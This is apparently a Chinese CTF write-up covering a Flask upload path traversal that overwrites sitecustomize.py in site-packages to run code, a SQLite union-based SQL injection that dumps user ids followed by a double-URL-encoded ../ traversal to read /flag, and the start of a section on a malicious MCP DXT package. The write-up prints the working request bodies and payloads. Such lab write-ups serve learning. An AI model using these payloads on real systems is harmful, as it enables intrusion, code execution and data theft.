file = request.files['file']
    # 从请求参数或文件名获取保存路径
    filename = request.form.get('filename') or file.filename
    
    # 路径穿越漏洞!
    save_path = os.path.join(UPLOAD_FOLDER, filename)
    
    # 创建目录
    save_dir = os.path.dirname(save_path)
  1. filename可控(通过request.form.get('filename')
  2. os.path.join可能存在路径穿越

考虑覆盖sitecustomize.py

我们可以通过一段命令查看路径

import site
import sys
print("site:", site.getsitepackages())#存放第三方库的位置
print("sys.path:", sys.path)#加载模块的路径列表

#回显
#site: ['/usr/local/lib/python3.10/site-packages']
#sys.path: ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']

或者ai说还有一个规则:

Linux 中,Python 的第三方包目录 永远是这个格式

/usr/local/lib/pythonX.Y/site-packages/

X.Y = 大版本号(只取前两位,3.10.19 → 3.10)

创建恶意sitecustomize.py并上传

import os
print(open('/flag').read())
------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb
Content-Disposition: form-data; name="file"; filename="1.py"
Content-Type: image/jpeg

import os
print(open('/flag').read())
------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb
Content-Disposition: form-data; name="filename"

../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py
------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb--


#回显
#成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py

然后执行任意文件就拿到flag了

同样的,除了sitecustomize.py我们还可以用usercustomize.py

但是要注意路径不一样

import site
print(site.getusersitepackages())

#回显
#/home/ctf/.local/lib/python3.10/site-packages

其余步骤与前者相同

Broken Trust

题目

某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。

神通广大的CTFer是否能发现逻辑缺陷,拿到敏感文件呢

注册拿uid登录,发现有特定的工具但是Only users with the admin role can access the backup interface.

发现cooki中有

session=eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0

尝试爆破

flask-unsign --unsign --cookie "eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0" --wordlist E:\字典\flask_secrets.txt

失败

源代码提取不到什么信息

抓包探索一下功能

发现Refresh Session Data功能会把uid POST给/api/profile,而我们知道profile一般和用户配置文件有关,并且返回内容是我们注册时的名称,可能有查询功能,考虑下sql?

尝试在UID参数中添加单引号:

{"uid":"95966c24a243402595d6021290558a79'"}

回显
{"details":"unrecognized token: \"'95966c24a243402595d6021290558a79''\"","error":"Database error"}

提到了database error数据库错误

测试回显:

{"uid":"95966c24a243402595d6021290558a79' union select 1,2,3 --"}

回显
{"role":3,"uid":1,"username":2}

尝试不同数据库的获取版本的语句

{"uid":"95966c24a243402595d6021290558a79' union select sqlite_version(),2,3-- -"}

回显
{"role":3,"uid":"3.34.1","username":2}

确定是sqlite

爆数据库内容

{"uid":"95966c24a243402595d6021290558a79' union select 1,2,(select group_concat(uid) from users)--"}

回显
{"role":"72adb8bc58dc4028bc694124095b111a,95966c24a243402595d6021290558a79","uid":1,"username":2}

我们的uid是95966...另一个应该就是admin了

拿uid去登录,admin专属工具是一个任意文件读取

/api/admin?action=backup&file=config.json

我们尝试路径遍历

....读不到flag,猜测有过滤

尝试双重url编码(双写../也可以)

../../../flag
%252e%252e%252f%252e%252e%252f%252e%252e%252f%2566%256c%2561%2567

拿到flag

DXT

前置知识

什么是DXT文件?

DXT是一种用于打包和分发MCP(Model Context Protocol)服务的文件格式。

DXT文件结构

DXT文件本质上是一个ZIP压缩包,包含:

evil.dxt (ZIP文件)
├── manifest.json    # 配置文件
└── dummy.txt        # 占位文件
Logo

欢迎加入 MCP 技术社区!与志同道合者携手前行,一同解锁 MCP 技术的无限可能!

更多推荐